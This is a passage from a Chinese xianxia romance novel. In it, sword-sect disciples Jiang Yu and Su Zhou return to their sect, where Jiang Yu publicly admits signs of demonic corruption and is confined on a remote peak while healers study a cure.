“那你准备还我吗?” “嗯。” 听见回答,她浅浅一笑,闭上眼睛,睫毛轻轻颤动,似乎在等着什么。 宿舟垂眸,看到她雪白颈项处,一道暗色纹路悄然隐没,心口骤然一痛。纵然已经有了猜测,姜鱼不说,他就装作不知道。 就着十指紧扣的姿势,宿舟缓缓靠近,侧过头,深情的吻落在了她唇上。 车窗外,一朵雪花悄然飘落。 第53章 不管大家各自怀着什么想法, 宿舟和姜鱼和好后,回程的马车气氛逐渐和谐,他们两人关系变好了, 亲昵得更胜以前。 芸晚有时候都没眼看,而于照,也不知道是姜鱼的理念真的有效,还是她的言语鼓励发生了作用, 这些日子, 于照一直保持清醒, 没有失控过一次。 连他自己都觉得有些不可思议, 难道小鱼的办法真的有用, 他不用入魔了? 不管他怎么想的,他们离剑宗是越来越近了。 一旦回到宗内,他就会面临审判, 长老们会怎么想?峰主会怎么想?他们真会觉得小鱼的办法有用?会不会长老们根本不听, 他就被处死了? 于照担忧日盛,但他很快又发现, 马车的行进速度似乎变慢了,原本七日就该到芦叶城,现在已经十日了,他们离城还有数百里之遥。 照这个速度下去, 可能还要十日才能到。 虽然不知道原因, 但这无疑是件好事, 他只当不知道, 另外三人也不知怎么想的,对此事心照不宣,只字不提。 这日马车在一处村落外落脚, 姜鱼和宿舟一起进村买了些酒和肉回来,本来东西都是宿舟拿着,她坚持要抱着酒坛,闻着酒香,自顾自陶醉。 宿舟看她像只猫儿似的眯眼,不由好笑,明明没什么酒量,却贪酒香。 姜鱼抬头,一见就知道他在笑什么,轻哼声,“笑什么笑,你的酒量也不见得多好。” “比你好就行。” “啧,真没出息。” “呵。” 他轻笑一声,眼眸里也浮上浅浅笑意。 姜鱼怔了一下。 他笑起来真好看。 一想到自己现在瞒着他的事,又不禁有些难受,抱着酒坛的手指悄然收紧,万一她对抗魔化失败,宿舟会是什么心情? 姜鱼几乎不敢去想。 她不能给他承诺,不能安慰他,甚至不能告诉他…… 心头涌上闷闷的痛,她笑不出来了。 “要不,我们喝酒吧?” “不是说酒是买给于师兄的?” 因为于照这几日表现得格外配合,他提出想喝酒,姜鱼自然是一口答应,而且她还特意说了,她只闻不喝,免得喝醉了误事。 “我突然又想喝了。” 宿舟深深看了她一眼,“好。” 他将对方的一丝慌乱看在眼中,在海渊宗时,他已经察觉姜鱼不对劲,直到之前在树林清理魔物,姜鱼回头时,眼神中的凶戾他看得分明,再到前日马车中,他清楚看到那道隐藏的纹路,更确定了猜测,他知道姜鱼已有入魔征兆。 她越是无措想隐瞒,宿舟就越是心疼。 姜鱼想喝酒,他没有理由拒绝。 回到马车,芸晚正负责看着于照,这几天于照的状态变好,芸晚也不像之前那样无视他了,起码能跟他说上两句话,出于同门之谊,她诚心希望于照能好起来,就像姜师妹说的,若真能找到阻止魔化的办法,那真是功德一件。 酒香气随风飘来,芸晚一回头,见他们两一起回来了,脸上带笑,神情轻松,连脚步都很和谐,总归是和好了。 她也跟着松了口气。 村外有一条小溪流,前几日下过场雪,今日天晴雪化了,潺潺水流顺着缓坡流入溪中,溪水欢快流向南方,发出碎珠溅玉般的声响。 姜鱼捡了一块干净地方,铺上垫子,摆上买回来酒肉和小菜,招呼芸晚一起来吃吃喝喝,芸晚在她对面盘膝坐下,“这么开心?” 姜鱼浅浅一笑:“就是突然想喝酒了。” 宿舟坐在她旁边,揭开酒封给两人倒酒,芸晚有些受宠若惊,“没想到有一天能喝到宿师弟斟的酒。” 宿舟:…… “这都是沾了师妹的光。” 姜鱼吐了吐舌头,“师姐,你喜欢喝酒吗?” “偶尔喝一点。”芸晚说,“峰主倒是很爱喝。” 四峰主是有名的酒痴,为了喝一口好酒,闹出过不少笑话,一提到他,两人都不由会心一笑,气氛欢乐起来。 姜鱼喝了两杯,脸上泛起薄红,眼神柔软,斜睨身旁的宿舟,发现他只是在看着自己,不由心念一动。 “你怎么不喝?” 被她看着,宿舟仰头将杯中酒一饮而尽。 姜鱼才想起来,他不喜欢喝酒,但看他这么配合,忍不住追着问,“好喝吗?” 她凑过来,发香幽幽,眸中像盈了一汪柔柔春水,酒不知味,心中又涩又甜,“好喝。” “嘻嘻。” “我刚刚跟村民打听了,这酒叫‘明日醉’,说是酒初喝不醉人,但是后劲大,喝完以后要到明天才会醉。” 宿舟看着她,心想:现在就已经醉了。 姜鱼又说:“村民说,这酒还有一个寓意,喝了明日酒,明天会越来越好,前途光明。来,咱们一起敬明天。” 宿舟和芸晚都配合举杯,姜鱼还在笑着,眼中却藏着一丝不易察觉的哀伤。 明日…… 她还会有明天吗? 回想当上天骄候选时,是怎样意气风发,自信满满,那时她觉得,她肯定会当上天骄、当上首席,成为剑宗第一,而如今魔气入体,前途难定,未来……她的未来,会是什么样?会不会从此坠入深渊,变成魔物? 想到这,眼睛不由酸涩。 她不想被两人看出来,赶紧喝了那杯酒,脑子更加晕乎乎了。 也没发现宿舟一直在看着她,见她伤心,捏着酒杯的手悄然收紧了几分。 “对、对了,酒还没给、给师兄呢。” 她晕乎乎站起来,刚走一步,踢到一块石头,眼看就要摔倒,被宿舟稳稳扶住,“我去吧,你去休息。” “不行。” 她想推开宿舟,醉得浑身没力气,反而像挂在他身上一样,被他扶着腰,靠在他肩上,还不安分的动来动去。 “小鱼……”他不禁低声喊,带着几分无奈又宠溺的语气。 “宿、宿行云,你叫我什么?”姜鱼虽然醉了,耳朵还很灵敏,被宿舟搀着往前走,还不忘发问。 “走慢点。” “哦。” 说是明日醉,其实两口就醉的某人,脑子此时只能想一件事,低头看路就顾不上计较称呼,被他半抱半扶着往前走。 芸晚走在后面,只觉得狗粮吃了满嘴,不过她也察觉到了,这两人似乎都有心事,联想起多日磨磨蹭蹭的马车,她也有些心神不宁。 走到马车后方,于照靠着车壁,似在走神,这些日子怕他无聊,几人找了不少书给他,散乱的书卷落得满地都是。 山间寒风一吹,姜鱼的酒醒了两分,她喊了声师兄,于照才回神,打量她后笑了笑,“我的酒还没来,小鱼怎么偷偷喝醉了?” 姜鱼哼哼,“我就喝了两杯。” 于照:“不愧是你的酒量。” 姜鱼:…… 她挥开要帮忙的宿舟,自己给于照倒了杯酒,隔着栏杆递过去,“师兄,我请你喝酒。” 于照含笑接过,在姜鱼手要收回的瞬间,眸中不详的红光泛起,一把抓住了她的手腕,酒杯跌落在地,砸得粉碎。 于照眼底阴寒,皮肤下扭曲的魔纹浮动,他凑近姜鱼,嗤笑道,“你想救我,少一厢情愿了,入魔之人,谁也救不了!” 他的修为被封,又被困在马车后面,哪怕陷入魔化状态,也对她造成不了什么伤害,除了放几句狠话,什么也做不了。 姜鱼看着他,嘴角垂下,眼神悲伤。 用药这么久,于师兄还会变成这种状态,说明药根本就没用,也许她的想法从一开始就错了…… 对上她的眼神,于照心一慌,紧握的手骤然松开,脸上的阴诡褪去,眼神渐渐恢复清明,“小鱼,我……” 意识到刚才发生了什么,见她抿着唇不说话,于照心中更加懊悔,“我是一时没控制住,其实你的药挺有效。” “是吗?”她轻声问。 “真的。” 这些日子以来,于照已经彻底改变了想法,他不想令姜鱼寒心,“这段时间,我失控的次数不是少多了吗?宿师弟,你说对吧?” 宿舟看向姜鱼,她后退一步,什么都没说,扭头走了。 宿舟连忙追了上去。 于照叹了口气,片刻后抬头,见芸晚还站在那,不由一愣。 芸晚上前,将收拾好的酒菜给他送进去,于照看着她,几次想说话,又忍住了。事到如今,他总觉得自己在芸师妹面前,失去了说话的资格。 芸晚放下东西,回头说了一句,“于师兄,别半途而废,既然要和魔念对抗,就坚持到底。” 于照:“好。” 马车内。 姜鱼默默回来坐着,紧接着,马车一晃,宿舟也跟着上来了。 姜鱼看了他一眼,唇紧紧抿着,没吭声。 宿舟坐在她旁边,低头似乎在翻找什么。 “你找什么?” “解酒丹。” “别找了,我的酒都醒了。” 宿舟只好停下动作。 姜鱼又问:“我在于师兄身上试的办法,是不是没用了?” 宿舟:“也许只是需要时间。” 时间…… 姜鱼凝眉盯着他,忽然明白了什么,眼中渐渐蒙上了一层水雾。 她不想被看出来,微微侧过头,“给我。” “什么?” “解酒丹。” 宿舟翻出解酒丹,担忧看着她,他听得出来,姜鱼的心情很低落,她的脸藏在阴影里,看不出表情。 一丸丹药递到面前,姜鱼回过头,她记得宿舟以前身上从来不带多余的东西,他也从来不喝酒,现在却随身带着解酒丹,为谁带的,不言而喻。 她眨了眨眼睛,没接那药丸,往前一靠,靠在了宿舟肩上。 少年动作一僵。 放下药,顺势将她揽在怀里。 两人保持着这个动作,好一会儿,宿舟感觉到肩膀上一片冰凉,潮湿的水汽洇开。 宿舟的心猛一揪,姜鱼哭了。 他抱着她,手臂悄然收紧。 马车里光线昏暗,两人相拥在一起,谁也没说话,却又像各自在酝酿些什么决定,片刻后,姜鱼开口,声音带着哽咽,“宿行云,你说,还会有明天吗?” 宿舟:“一定会。” …… 短暂休整之后,马车再次启程,姜鱼的沮丧只有半日,很快她又恢复了那副信心十足、开朗乐观的模样。 她还时不时调侃宿舟几句,倒是宿舟的话少了,有些时候只是看着姜鱼,像是怎么也看不够似的,连芸晚也看不透,他到底在想什么。 又十日后,慢悠悠的马车终于停在了芦叶城外。 原本今日就该进城,但到城门不远处,车轮忽然坏了,宿舟去修车轮,芸晚和姜鱼下车生火休息。 芸晚道:“这几天于师兄情况很稳定,等回到宗门,将情况说明,长老们应该会同意按你的方法办的,也不枉咱们在路上拖延这么久。” “拖延?”姜鱼看她,“你是说马车走得慢吗?” “嗯?”芸晚惊讶,“不是你安排的吗?” 姜鱼摇了摇头。 她心里清楚,拖延时日的另有其人。 这时,宿舟从马车那边过来了,淡声道,“马车还要三日才能修好——” 姜鱼:“三日,不是三十日?” 宿舟垂眸看她。 姜鱼:“马车根本就没坏。” 芸晚看看姜鱼,又看宿舟,意识到情况不对劲了。 姜鱼把手里的树枝扔下,问他,“你早就知道了,对么?” 宿舟看向芸晚。 姜鱼:“别看师姐,我不想瞒着她,你早就知道,我也入魔了。” 芸晚心里咯噔一下,拨弄火堆的手轻轻颤抖。 “你一直拖延时间,在马车上动手脚,不是为师兄,是因为我。”越是临近剑宗,她就越发坚强起来,之前的脆弱全都被她隐藏起来。 “说说看吧,你的打算。” “别回去。”宿舟道,“找个安全的地方,继续照你的办法行事。” “为什么?” “我见过那颗魔种,其中的能量要消耗殆尽,不是一两年能办到的。”他说,“五年十年也好,总有一天,你能做到。” “那你呢?” “我回宗复命。” “不止吧。”姜鱼眼神清澈而犀利,似乎看透一切,“这几天你一直在偷偷看书,都是和剑骨相关的。” 宿舟没想到她发现了,不禁避开了她的视线。 “你想把剑骨给我,因为剑骨可以压制魔气,对吗?” “……” “那邪修研究了那么多年,都没办法转移剑骨,你凭什么可以?” “我总会找到办法。” “我不要。” 宿舟眉心一跳,暗自握紧了拳。 “剑骨在我身上,怎么处置,我说了算。” “那我也不要。” 两人之间的气氛紧绷,说吵架又不像,说不是吵架,双方态度都很决绝,芸晚捏着一把汗。听了两人的话,她才知道,宿舟竟然抱着不让姜师妹回宗的想法,他这些日子拖延时间,原来是为了和姜鱼多相处些时日…… 僵持片刻,宿舟道:“先不说剑骨,你不能回宗。” “我一定要回去。” “宗内有危险,你忘了李休音?” “我不怕危险。” “姜鱼——” “宿行云,你别管我。” 宿舟深吸口气,毫不退让,“我不会让你回宗。” 姜鱼忍不住站起来,“你又不是我爹娘,凭什么管我?” 话一出口,宿舟眼眸微暗,一丝受伤神色划过。 她的手指蜷了蜷,说这种话,她心中未必好受。 她知道宿舟已猜出自己的意图,不想她去冒险,但她早已决定,非回去不可。 她怀疑自己入魔,就是幕后那人的打算,若不回去,怎么能验证那人是不是宗主?怎么能让对方露出马脚? 不入虎穴,焉得虎子,她现在有些后悔了,早知道不把师姐的秘密告诉他,不然他怎么会猜出自己的打算。 “你让我别回去,于师兄怎么办?” “你把他一起带走。” “要是长老质问起来,怎么办?” “一切后果,我来承担。” “你怎么承担?说你把我逼走了?你知道宗规会怎么罚你吗?” 宿舟深深看了她一眼,“姜鱼,你觉得我会怕这些?” 姜鱼心一颤。 “你的剑、你的前途、天骄之位,这些难道都不要了吗?” “只要你平安……是。” 他回答得这样笃定,说明不知道在心里想过多少遍了。 姜鱼心里骤然冒起一团火,既心疼又生气,“是个毛线!你就觉得你一定承担得了?要是长老根本就不信你的,怎么办?要是我走了之后,还是控制不住魔化了,又该怎么办?哪一种变数你能控制?你就知道逞你的英雄主义,宿行云,我讨厌你!” 宿舟的脸色骤然苍白。 一口气说完,姜鱼的手还在发抖,不敢看对方的表情,话说得这么狠,他肯定要被气走了吧? 气走也好,总归比他想承担一切要好…… 这样想着,腰间骤然一暖。 宿舟走上前来,把她抱在了怀里。 姜鱼一怔,有些错愕,他竟然不走,还回头了……隔着单薄的衣衫,她能感觉到,少年的身体在颤抖。她顿时心软得一塌糊涂,眼中涌上涩意,视线逐渐模糊。 “我刚刚说讨厌你,是乱说的。” “我知道。” “我不想跟你吵架。” “我知道。” 他这会儿倒是知道了,姜鱼忍不住破涕为笑,想到芸晚就在身后,他们还这样腻歪,忍不住推了他一把,“你先松开,师姐还在呢。” 宿舟道:“师姐没看我们。” 芸晚:…… 她默默把头扭开。 姜鱼:“真的吗?” 宿舟:“真的。” 他垂眸,轻轻吻去了姜鱼脸上的泪。 第54章 姜鱼身体轻轻一颤, 好一会儿,才推开了他。 回头一看,芸晚还真没看着他们, 她低头看着火堆,仿佛已经入定。 姜鱼有些不好意思,在师姐面前闹了这么一出,真是够丢脸的, 不过如今话都已经说开, 她知道了宿舟的想法, 师姐也知道她的秘密, 总比之前都闷在心里憋着强。 “师姐——” 芸晚抬头, 像是猜到了她想说什么,“别说什么让我当做没听到,听起来这事关剑宗, 我是剑宗的一份子, 该做什么不该做什么,等我听完整之后自有决定。” 她看了看两人, “放心,这里我最冷静,也没人让我要死要活的。” 姜鱼:…… 宿舟:…… 她都这么说了,三人各自冷静了一会儿, 决定找个地方坐下来慢慢商量, 也别各自逞能了, 找出大家都赞同的方案再行动。 进了芦叶城, 他们找了家客栈落脚,关紧房门,又布下了几层结界, 开始商量正事。 姜鱼、宿舟和芸晚围坐在桌前,姜鱼先将之前发生的事情跟芸晚梳理了一遍,芸晚表情渐渐严肃。 她才知道,于照和姜鱼入魔并非巧合不幸,很可能是有人在背后暗中安排,令她心惊不已。 “从于师兄魔化的程度来看,他应该是在第二次试炼出发之前就生出了魔念,这更让我怀疑,是宗内有人对他下手了。” 话说到这,芸晚也放下个人意见,仔细想了想,“说起来应该是冬日试的时候,他找我几次谈我姐的事,那时我觉得他有些不对劲,但没细想……” “冬日试……那就是李师姐去世前后。” “是。” 姜鱼神情凝重,从洛雨到兰姨,再到李师姐和于师兄,最后再到她自己,有人在她身上绕了这么大一个圈子,到底想要什么? “如果那人的目的是师妹你,前面所做这些,是否是为了引你入魔?”芸晚猜测。 “有必要吗?” 她现在已有入魔征兆,对方的目的不是已经达到了? “师妹,其实我觉得你……不像入魔了。”芸晚斟酌着说,“当时于师兄入魔,对我提剑就砍,要不是宿师弟救我,我已经死了,但你直到现在,也没有任何失控表现。” 姜鱼愣了一下。 芸晚问,“据说先有魔念后生魔种,师妹,你的执念是什么?” 姜鱼认真想了想,这些日子,她唯一感觉失控的时候,是喝醉之后对宿舟产生了欲念,那时甚至说不清到底是喝醉了还是欲念上头…… 要说她的执念是什么,她看了一眼坐在一旁宿舟,这几年她唯一的执念就是赢过他。 芸晚看了看他两,温和道:“姜师妹,说实话,我觉得这最多算是意气之争,算不上执念。” “算不上吗?可五峰主现在还记恨我师尊呢。” “那是因为她落败了,五峰主接受不了的是自己的失败,你和宿师弟不是还没分出胜负吗?” 姜鱼:…… 这么说,她确实没什么执念,就连继承她娘的剑这件事,一直放在心上,行动上也不够努力。 “所以,师妹,你这种人应该是最不容易入魔的。”芸晚道,“会不会因此,那人才从你身边的人下手呢?” 姜鱼觉得这话好像有道理,但依然没能解释明白,从这些人身上下手,也没让她入魔呀……而且,她如果不是入魔了,为何会看到魔纹呢? 这个问题芸晚也回答不了,在所知有限的情况下,他们只能走一步看一步,姜鱼说出自己的计划,“带师兄回宗,我会说出自己入魔的事实,将幕后之人引出来。如果他的目标是我,一定还有下一步的动作。” 宿舟眉心一跳。 芸晚道:“这是不是有些太过冒险?” 姜鱼:“不管这人是不是宗主,他现在还藏着不出现,说明他有所忌惮,剑宗不是他一个人的,还有爹娘、师尊、其他长老们……” 剑宗能成为名震天下的大宗门,宗内明事理、办实事的人要占多数,姜鱼相信,他们都不是不讲道理的人。 看来姜师妹也不是毫无准备,芸晚稍稍放心下来,但她仍然有一个问题不解,“你说宗主做这些的目的是什么呢?” 这个问题姜鱼从出宗的时候就在想了,曾经毫无头绪,自从见了问天剑灵,她有了些新的猜想,“当初在问天剑灵面前,他说自己是‘被弃之身’,我故意顺着它的话说,它成了被主人抛弃的棋子,当时剑灵并未否认我的话,反而恼羞成怒,说明我说的是对的。” 其他两人对视一眼,当时他们聚精会神对付剑灵,都没注意到这些,这样看来,小鱼是真的一直比别人想得更细、想得更多。 “这话从问天剑灵口中说出来,只有两种可能,要么剑尊飞升时,将它抛弃了,它有了新的主人。要么,问天剑尊飞升根本就是一个谎言,剑尊他还活着。” 姜鱼的推测让房间里陷入长久沉默。 问天剑尊还活着这话,说出去恐怕会引起轰动,光是他的剑还在人间这事就已经够震惊了,剑尊还在,这可能吗? 片刻后,芸晚道:“这恐怕不可能……” 她顺着姜鱼的思路猜测,“更有可能的是,宗主无意间找到了那块剑灵残片,受影响产生了魔念,于是将残片丢弃,但本身的魔念却不能消除了,所以才一直不露面……” 光凭猜测难以得出结论,要想找出真相,还是只能回宗去。 话说完,姜鱼看了看宿舟,“是让我离开,你一个人承担一切,还是我们回去,风雨共担,你选一个吧。” 宿舟:…… 他已经了解了姜鱼一定要回去的决心,但对于她的计划,说不担心是假的,就说她决定要当众承认自己入魔的事实,想到她可能面对的质疑,就足够令他心碎了。 双眉紧皱时,清浅香气靠近。 姜鱼凑过来,按了按他的眉心,“好了,别担心,我都这么倒霉了,也该否极泰来了。相信我,好吗?” “……好。” 计议已定,是日下午,马车悠悠驶回了剑宗。 除夕刚过,宗内弟子还沐浴在新年的气氛中,宗内氛围和乐。下了马车后,三人带着于照,乘飞舟到了主峰书阁之前,刚刚下过一场小雪,广场上覆着一层浅白,因为姜鱼已提前通知过有要事,长老和几位峰主都到了。 见他们现身,有不少弟子也凑过来围观,听说各地魔物出现频率变高,料想他们这一趟试炼恐怕没那么顺利,弟子们难免好奇他们都经历了什么。 人群渐渐聚集,姜鱼并没有急着说话,直到长老们有些不耐烦了,催促道,“姜鱼,你还要等什么?” 姜鱼环视四周,就这会儿功夫,几位天骄、主峰附近的弟子们都来了,收到消息的隋鹭、西江月也陆续现身,除了惯例不在的宗主和出去办事的大长老,二长老、她爹都在场。姜怀城看着女儿,脸色凝重,一言不发。 等人来的差不多了,姜鱼开始讲述这次试炼经历了些什么,当她说到“发现问天剑残片,林风偷袭死于冻河中”时,许多人脸色已不对劲了。 六峰主勃然怒道,“姜鱼,剑尊早已飞升,你竟然敢在宗内公然诋毁剑尊,说什么问天剑还在人间,我看你是害死吾徒,想出来的借口!” 六峰长老也道:“两次试炼,都说机关球损坏,你们几个分明是故意针对阿风,欺我六峰无人是吧?” 六峰弟子们纷纷附和。 “六峰主,别急于发怒。”四峰主悠悠道,“问天剑若留存人间,还成了魔剑,这可是大事,谅几个弟子不敢在这种事情上胡编乱造,姜鱼你这么说,可有证据?” 姜鱼和宿舟对视一眼,将封印着残片的封印盒取了出来。 见到此物,众峰主、长老神情严肃,由二长老开盒一看,不由脸色骤变,“竟真是问天剑……” “什么?!” “怎么可能?” “问天剑还在人间?!” 乱七八糟的议论声响起,问天剑尊出自剑宗,对弟子们而言,是道标偶像级别的人物,这消息实在震惊众人。 震惊之余,又不得不佩服,姜鱼几人竟然能封印魔化的问天剑,还平安回来了,简直不可思议,这就是天骄候选的实力么? 而姜鱼接下来说出于照入魔之事,更引起了轩然大波,二峰主疾步上前,一把扣住于师兄脉门,眼神从不可置信转为震惊,“照儿,你、你竟然……难道是受问天剑影响?” 于照也只好点头。 当着这么多人的面,他不想把芸晚牵扯进来。 二峰主脸色灰白,沉沉叹气,对他说,“早知如此,就不该让你去……唉!” 于照顿时顾不上什么难堪不难堪,心中升起一阵愧疚,“是弟子辜负了峰主。” “别说这种话了,碰上问天剑灵,能活着回来,已属不易。” 他边说边叹气,因为他心中清楚,入魔之人,必死无疑,他这徒弟,是谁也保不住了。当初于照说自己不想再参与天骄之争,就不该坚持让他去,二峰的脸面又哪有弟子的性命重要呢? 二峰主正长吁短叹之时,姜鱼又说,她找到了抑制魔化的办法,二峰主喜出望外,“此话当真?” 姜鱼详说了自己的办法,六峰主道:“也就是说,你这办法只是拖延时间,你也不知道有用没用?” 姜鱼道:“我确实不敢保证,我提出这个想法,也是希望各位医修和我一起研究。” 她将之前对芸晚说过的话又说了一遍。人群中,医修们面面相觑,自从魔渊封印,魔族绝迹,已很少有人去考虑魔族的问题,这千年间,偶有魔族、魔化者出现,都是遵循旧例,杀了了事。谁也没想过,魔化能被阻止,应该改变对入魔者态度这种话,更有几分大逆不道,也只有她姜鱼敢说了。 但仔细一想,这话并不无道理,连魔化问天剑都出现了,日后如果魔化之人接连出现,能救为何要杀?现在又不是仙魔大战之时了。 连弟子们也被她一番话点醒,以前他们只觉得宗规就是如此规定的,现在想想,宗规如此,就对么? 本来于照在宗内人缘就好,不忍心见他死的人在多数,有个医修刚想站住来说话,六峰主骂道:“放屁!” “问天剑的事姑且算你有理,医道的事你也懂?你懂个屁!不过是想趁机拖延时间,再找机会放走这弟子,你这打算,以为我看不出来吗?” “我没打算放走于师兄。”姜鱼道:“我会和师兄一起。” “你说什么?”六峰主皱眉道,“你凑什么热闹?” “因为我也有入魔之兆。” 话音落,众人皆惊。 一句话像是炸开了锅,什么叫“她也有入魔之兆?”,姜鱼也入魔了?!既然这样,她竟然还能这么平静站在这? “姜师妹也入魔了?!” “不可能吧?” “师妹也太倒霉了吧……” 也有六峰弟子幸灾乐祸起来。 “难怪她非要力保于照,原来她也中招了。” “活该,她这么跳,就知道要出事。” “都成魔物了,还在这逞能呢,怎么还不把她宗规处置了?” 宿舟冷眼扫过,那几个弟子浑身一寒,顿时不敢说话了。 姜鱼平静宣布自己已有入魔之兆,引来的惊讶比之前问天剑现世更甚,现场几乎炸开了锅。不知不觉,在弟子们心中,姜师妹有能力又有脑子的形象已经深入人心,他们觉得,哪怕其他人都入魔了,姜鱼也不会入魔。 尤其是三峰弟子,更是又惊讶又心疼,眼眶泛红,要不是长老们在前,都要冲上来了。 唯有姜怀城依然一言不发,脸色铁青。 六峰主还在惊讶,人群之中,屠石站出来道,“既然你和于照都入魔了,就该按宗规一并处死!” 他那边几个拉拢的弟子喊起来,“一并处死!” “魔物就该死!” …… “吵什么?”隋鹭双手搭袖,轻飘飘道,“你是当我们这些人都死了吗?现在剑宗由你们做主了?” 屠石脸色一白,顿时不敢说话了,心中不由嫉恨,这姜鱼都入魔了,竟然还有这么多人保她,真是不公平。 姜鱼接着说,“六峰主说我是拖延时间,我会和师兄一起,在落寒峰自禁,以半年为期,如果情况没有好转,到时再由宗规处置。” “你——” 这话说得六峰主几乎无余地反驳,但林风之死,叫他咽不下这口气,他和一干守旧长老都不愿意松口,场面僵持起来。 于是众人下意识看向二长老和三长老,宗主和大长老不出面,按理说,就该是他们两主持局面。 宗内皆知,大长老宽和,二长老严苛。三位长老中,二长老最重剑宗威严,是宗规的维护者,她沉吟片刻,开口道,“既然意见不一,大家各自表态吧,我支持按宗规行事。” 话音落,场中四人脸色俱是一沉。二长老这样表态,情况恐怕不妙。 很快,六峰主和几位长老都表示支持。 隋鹭道:“于私我是小鱼的师尊,于公,我是剑宗一峰之主,我知道培养一个弟子多不容易,但凡有一丝挽救弟子的机会,也不该放弃,我支持小鱼的想法。” 四峰主和二峰主表示赞同。 众人目光落在五峰主西江月身上,现在两派僵持不下,人数都差不多,她和五峰长老们的态度就显得尤为重要了。 西江月看向场中四人,自始至终,宿舟就站在姜鱼身边,徒弟这样明目张胆支持姜鱼的态度,令西江月颇为不快,而且她从来不和隋鹭站在一边,隋鹭支持的,她必要反对。 但开口之前,她看向姜怀城,有些好奇,“三长老为何一言不发?” 随着她的话,众人齐刷刷看向三长老,心想,他一直不开口,难道是避嫌?这决定关系到姜鱼生死,他也能不说话,该说三长老不愧是三长老吗? 姜鱼默默看向她爹,抿了抿唇。 来之前,她已经将情况据实相告,当时爹只回复了三个字“知道了”,她以为爹再怎么说也是支持她的,没想到如今众目睽睽之下,爹要和她划清界限吗? 想到这,心中不禁一阵酸楚。 在众人注视之下,姜怀城上前一步,“各位,我姜怀城任剑宗长老之位,已过百年,自认一直以来勤恳办事,秉公持正。今日,我以长老之位担保,我女儿所言,一字不假,她的办法,值得一试。” 他看向姜鱼,看到女儿不可置信的眼神,看到她眼中慢慢噙满了泪,他语气一顿,接着说,“如果她不按约定办事,我亲自处置,但反之,谁要是敢伤害她,我绝不放过。” 话说完,场中一片寂静。 芸晚和于照都松了口气,幸好,关键时刻,姜长老还是站在小鱼这边的。 宿舟再度看向西江月,眸中暗含恳求。 西江月沉默片刻,终究松了口,“既然三长老都这么说了,那便这么办吧。” 第55章 剑宗主峰上, 书阁之前,众长老峰主依次表态,姜怀城的话说完之后, 场中沉寂了好一阵,最终,支持姜鱼的占了多数,二长老也并非完全的不近人情, 她让大家表态, 已是给了姜鱼他们一个机会, 既然表态结果如此, 她也表示了认同。 “问天剑残片暂时封存, 等大长老回来后,再商议如何处置。” “你们两人,就去落寒峰吧。” 她又召集医修们, 让他们先按姜鱼的办法行事, 这才让大家都散了。 这一次,姜鱼达到了目的, 她入魔之事传遍全宗,又争取了时间,剩下的就要看对方如何出手了。 落寒峰在天剑七峰之外,也属于剑宗的副峰之一, 不过远离主峰, 从西北来的寒风常年吹拂, 冰雪覆盖, 气温极低,环境恶劣。 一般犯了错的弟子会被打发来这里思过,凛然寒风吹上几个月, 人都会吹得发蔫。 峰上辟了两个山洞,姜鱼和于照暂时就待在山洞中,每过三天,有医修来看他们,和姜鱼一起研究魔种的克制方法。这件事不止是在剑宗,在整个修真界都引起了不小的轰动,剑宗竟然开始研究魔种了,他们要不要也跟上步伐? 在落寒峰清苦的寒风天里,来的不止是医修,还有人天天守在洞口,一步也不曾离开。 “宿师弟,落寒峰待久了有碍修为,你不如——” “她怎么样了?” 从山洞中出来的医修好心提醒,被宿舟直接打断,那医修愣了一下,道,“姜师妹情况稳定……” “只是稳定?” “大家毕竟是头一次对魔种做这种研究,恐怕不会这么快有效果。” 见宿舟眉心蹙着,医修没再说什么,点头告辞了。他倒是有些奇怪,不是说宿师弟和姜鱼是死对头吗?他们如今关系竟然变得这么好了。 姜师妹在这的第一天起,他就一直陪在这里,寸步不离,这关系说是朋友恐怕都不止吧? 医修走后,山洞陷入寂静,只有风声在耳边呼啸。 玄衣少年斜倚着山壁,,细小的雪花落下,沾湿了他浓密的羽睫,他在寒风中岿然不动,仿佛已化为了一座雕像。 直到山洞中传来细微动静,似乎有人在喊他。 他霍然睁眼,靠近洞口,“怎么了?” 姜鱼的声音隔着一层雾白结界传来,“好像下雪了,你还好吗?” 宿舟:“没事。” 迟疑片刻,她说:“要不……你先回去?” “姜鱼。”他看向洞内,声音冷淡,“别管我。” “……” 这次所有的计划都听了她的,哪怕宿舟心中没那么同意,这时候再干涉他,他心里肯定不高兴,但姜鱼只是担心这样天寒地冻的环境,容易诱发他剑骨的伤势。见过他痛得失去知觉的样子,就不想他再因此受折磨了。 只是这次出了这样的意外,天骄评选已暂时搁置了,结果没有公布,自然拿不到奖励,宿舟暂时也拿不到修补剑骨的材料。这事说起来也是受她影响,但他连提都没提过一句,更让姜鱼过意不去了。 “那你进来吧?” 宿舟愣了一下。 他面前一层结界是三长老亲手布下的,医修都要凭令牌进,他怎么进去? 姜鱼凑到洞口,小声说:“这结界其实我控制的。虽然他们拿着令牌来,但让他们进来的是我。” 宿舟:? 他试着往结界走了一步,云雾自然散开,没有阻拦,再往前走几步,就见姜鱼蹲在洞口,眼巴巴看着他。 他眉心一跳,“怎么回事?” 姜鱼往后挪了挪,坐会自己软乎乎的垫子里,“爹在布置结界的时候,将口诀告诉了我,我可以操纵结界。” 他们的目的是引出幕后之人,在明知有人会针对姜鱼的情况下,还把她困在这里,岂不是放任那人行事,三长老在布置结界的时候就想到这点,把结界控制权交给了她。这也等于把去留的权利都给了她,她如果想走,随时可以离开剑宗,而姜怀城早就说过了,他会承担责任。 虽然平时没少给女儿泼冷水,关键时刻,姜怀城还是拿出了父亲该有的担当。 宿舟进了山洞,先感觉到一阵暖意,洞里不仅生着火炉,还用火灵石摆了灵阵,地上铺着厚厚的绒毯,堆着好几个软枕,摆着小几,几上茶香袅袅,还有一些糕饼糖点,姜鱼窝在那堆枕头里,像只柔软的小猫。 宿舟:…… 还以为她也在里面挨冻,是他想多了。 她把这山洞收拾得像个温暖的小窝,就差在毛毯上踩奶打呼噜了。 “站着干什么,坐呀。” 姜鱼给他倒了一杯茶,宿舟喝了一口,这还是灵茶,喝完浑身都暖和起来了。 姜鱼托着下巴看着他,“好喝吗?” 他放下茶盏,“这是不是有点太放松了?” “放松?我一直在打听消息呢。” 她取出一堆传讯符,在桌上依次铺开,每张传讯符都在闪烁,看起来还挺忙的。 “这张是芸师姐的,我请她去看天骄榜,自从剑灵回归,看看天榜是否有异动。” “有吗?” “暂时没有。” “这张是联系爹娘的,自从我离宗,他们就在探听跟宗主有关的消息。”姜鱼拿起符纸看了看,皱起眉,“可宗主露面的次数太少了,平时基本上看不到他……” “上次李师姐病时,宗主没去看望过?”宿舟问。 “去过呀。” 